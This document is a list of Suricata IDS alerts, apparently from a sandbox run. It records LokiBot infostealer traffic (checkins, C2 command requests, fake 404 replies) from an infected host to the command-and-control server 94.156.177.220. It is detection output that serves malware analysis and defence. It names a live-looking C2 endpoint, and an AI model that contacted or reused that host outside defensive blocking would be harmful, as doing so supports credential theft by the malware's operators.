Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49198
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49201
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49225
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49243 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49219
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49243 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49243 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49243 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49189
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49210
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49243 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49184
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49215
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49227
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49179
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49226
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49222
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49180
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49202
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49221
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49186
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49240
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49197
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49243
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49239
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49246
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49211
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49217
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49238
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49236
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49208
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49213
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49232
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49223
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49233
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49209
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49214
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49237
